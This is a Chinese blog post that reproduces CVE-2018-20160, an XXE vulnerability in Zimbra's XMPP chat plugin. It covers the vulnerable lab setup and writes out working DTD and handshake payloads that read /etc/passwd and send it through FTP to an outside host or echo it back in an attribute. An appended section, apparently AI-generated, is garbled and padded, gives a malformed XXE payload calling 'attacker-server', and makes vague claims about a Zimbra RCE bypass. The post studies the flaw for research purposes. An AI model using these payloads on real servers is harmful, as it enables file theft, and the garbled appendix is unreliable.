Zimbra XMPP XXE 复现

本文详细分析了Zimbra XMPP服务中的XXE漏洞CVE-2018-20160,介绍了环境搭建、漏洞触发及利用手法。通过对Zimbra-chat插件及XMPP协议的深入研究,展示了如何利用XXE漏洞读取服务器文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

周末没事,接着找CVE-2018-20160,XMPP的XXE

https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories

https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.9/P9

补丁上说XXE是zimbra-chat插件的漏洞,由于zimbra-chat插件是apt安装,所以如果管理员没事upgrade一下就修复了,而8.7.x的AutoDiscovers XXE是需要手工安装补丁的,相对会多一些。

顺便一说:其它XMPP协议估计搞法估计都差不多,大佬们有空可以多试试^_^

环境搭建

还是使用jorgedlcruz/zimbra这个docker作为基础,该docker使用8.7.11版本的安装包,所以需要进行一点修改。

使用start.sh的内容创建配置,但是安装使用该地址的安装包:

https://files.zimbra.com/downloads/8.8.9_GA/zcs-8.8.9_GA_3019.UBUNTU16_64.20180809160254.tgz

解压缩后需要删除包中utils/globals.sh,删除其中的zimbra-patch行,否则安装时会安装更新。

调用install.sh安装时,不能使用8.7.11的输入重定向。

由于zimbra-chat是apt安装,会自动安装最新版,所以最后还得给zimbra-chat插件降个级:

apt-get install zimbra-chat=2.0.1.1532356008-1.u16
su - zimbra
zmmailboxdctl restart 

新旧代码对比:

新:

在这里插入图片描述

旧:

在这里插入图片描述

Zimbra-chat XMPP XXE

先看了半天Zimbra-chat代码,发现看解析流程实在太费劲了就改看XMPP协议了。

代码位置在/opt/zimbra/lib/openchat下面,有兴趣的师傅可以多跟跟。

具体连接流程可以下载一个Gajim,看其中的XML控制台。

在这里插入图片描述

说下个人理解:XMPP的协议基于XML,相当于C/S两端拼凑XML,你写一段我写一段,解析过程使用流式XML解析。但是具体的DOCTYPE定义、实体引用是XML发起人所规定。(emm,这段不确定对,仅供参考。)由于大部分操作都得走认证,没有账号的情况下除了首次握手以外也没啥好搞的了,下面说的都是基于首次握手做的。

流式XML解析的接口:

http://doc.codingdict.com/java_api/javax/xml/stream/XMLStreamReader.html

连接XMPP服务

openssl s_client -connect 192.168.252.139:5222 -starttls xmpp --debug

dtd:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://192.168.252.1/%payload;'>">
%param1;

发送报文(第一次握手报文):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtd233">
%remote;
%send;
]>
<stream:stream xmlns="jabber:client" version="1.0" xmlns:stream="http://etherx.jabber.org/streams" to="zimbra.io" xml:lang="zh" >

结果只有一行:

在这里插入图片描述
如果读localconfig.xml直接抛异常,就是原文作者说的ftp命令中的换行被java检测的问题。

emm,作者原文里提到了新版本的Java会抛掉多行命令,但是并不影响提到的几个CVE= =,这个节奏不对啊?

继续翻XMPP协议

经过查询,发现除了client to server这样的请求,还有server to server的:

https://xmpp.org/extensions/xep-0288.html

dtd:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY internal '%payload;'>">

走握手包,如果to的服务不存在,会将to的内容回显,也是在属性中:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root
[
<!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtdurl">
%remote;
%param1;
]>
	<stream:stream xmlns:stream='http://etherx.jabber.org/streams'
               xmlns='jabber:server' xmlns:db='jabber:server:dialback'
               to='&internal;' from='zimbra.io'
               xml:lang='en' version='1.0'>

结果:
在这里插入图片描述

思考(懒得搞了的)

由于上面的操作走了XML的属性,所以是没法读带<和&(实体定义除外)文件的(比如localconfig.xml之类的)。

接着由于starttls操作的握手还没搞明白,所以登录以后的利用还没有搞。

但是看Gajim的数据流,starttls以后的stream还是由C端发起,可以设置Doctype,然后通过message发消息来读取XML文件(这个可以在Tag中),这个就请各位师傅自行研究了(板凳西瓜准备)。

参考资料

https://www.cnblogs.com/backlion/p/9302528.html

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf

https://staaldraad.github.io/2016/12/11/xxeftp/

https://gist.github.com/staaldraad/280f167f5cb49a80b4a3

### XXE漏洞与SSRF的关系 XXE(XML External Entity)漏洞允许攻击者通过恶意构造的外部实体引用,读取服务器上的文件或其他资源。而SSRF(Server-Side Request Forgery)是一种让目标服务器发起请求到指定地址的安全问题。两者可以通过特定方式结合使用,在某些场景下实现更复杂的攻击效果。 例如,XXE可以和SSRF一起用于探测其他内网主机的信息,基于HTTP协议进行端口扫描或服务发现[^1]。这种组合能够使攻击范围扩大至内部网络中的更多资产。 --- ### Zimbra RCE漏洞背景及其利用关系 在一些复杂的应用程序中,多个安全缺陷可能相互关联形成更大的威胁模型。比如Zimbra远程代码执行漏洞(CVE-2019-9670),其完整的RCE链依赖于另一个SSRF漏洞(CVE-2019-9621)[^2]。尽管官方文档提到需要两个漏洞配合才能达成最终的目标——即完全控制受害者的机器;但实际上也有方法绕过此限制单独触发该功能模块从而直接获得shell权限的情况发生(具体细节未公开披露)。 这表明即使缺少明确标注出来的辅助条件也可能找到替代路径去完成整个攻击链条的设计意图之外的操作行为模式转换过程中的可能性探索方向之一就是寻找是否存在类似的逻辑错误或者配置不当之处作为突破口来进行尝试突破现有的防护机制进而达到预期目的的同时还应该考虑到实际环境中可能会遇到的各种阻碍因素影响最终成功率高低程度不同而已。 --- ### 复现步骤概述 为了验证上述理论假设成立与否并通过实践检验得出结论证明观点正确无误的话,则需按照如下方式进行操作: #### 准备工作 1. **环境搭建**: 使用虚拟机创建隔离测试环境,安装易受攻击版本的服务软件实例。 2. **工具准备**: 下载并启动Burp Suite社区版用作中间拦截器角色以便后续手动调整数据包内容后再转发出去供进一步分析研究之用。 #### 实际演练部分 ##### 设置代理连接 在浏览器里设定好相应的出口通道指向本地监听端口号之后加载含有潜在风险点位链接地址页面时自动将所有通信流量导向我们事先布置好的陷阱装置等待捕捉感兴趣的数据片段回来审查是否有异常现象出现值得深入挖掘下去的价值所在之处存在即可视为成功捕获有效样本素材可供下一步骤处理使用前先保存原始状态副本留档备案以防万一丢失重要线索证据材料造成无法挽回的局面后果严重必须谨慎对待每一个环节都不能马虎大意才行啊同志们加油干吧! ```plaintext GET /vuln/xxetest.php HTTP/1.1 Host: target-site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ``` ##### 构造Payload 接着把刚才截获下来的未经修改过的原样复制粘贴过来放到重复发送窗口里面替换掉原有的参数字段值换成精心设计制作而成的新颖独特而又充满危险性的特殊字符序列结构形式表现出来看看会发生什么有趣的事情呢?让我们拭目以待吧朋友们! ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test[ <!ENTITY % remote SYSTEM "http://attacker-server/payload.dtd"> <!ENTITY % init "<!ENTITY % send SYSTEM 'file:///etc/passwd'>"> ]> <reset> <login>admin;%send;</login> <secret>Any bugs?</secret> </reset> ``` 注意这里引入了一个外部DTD定义文件`payload.dtd`,它包含了更多的指令用来指示解析引擎如何去构建新的实体标签嵌套层次关系直到最后一步才真正暴露核心秘密武器位置信息泄露给外界观察员看到为止才算圆满完成任务使命结束啦哈哈哈哈哈!!! --- ### 结果评估标准说明 当以上所有的准备工作都顺利完成以后就可以静候佳音传来好消息咯~ 如果一切正常顺利的话那么你应该能够在自己的监控屏幕上清晰地看见来自受害者那边传来的回应消息当中携带了原本不应该被轻易获取得到的秘密情报资料比如说操作系统用户名列表之类的敏感隐私类别的东西就充分证明我们的实验取得了圆满的成功成果喜人呀各位小伙伴们快来庆祝一番吧😊🎉👏 当然啦除了单纯追求技术层面的乐趣体验之外更重要的是要从中吸取教训总结经验不断提高自身的网络安全意识水平时刻保持警惕防止自己成为下一个倒霉蛋哦记住一句话叫做“道高一尺魔高一丈”永远不要低估敌人可能拥有的强大实力好吗谢谢大家听我说完这些话希望对你们有所帮助再见👋~ ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值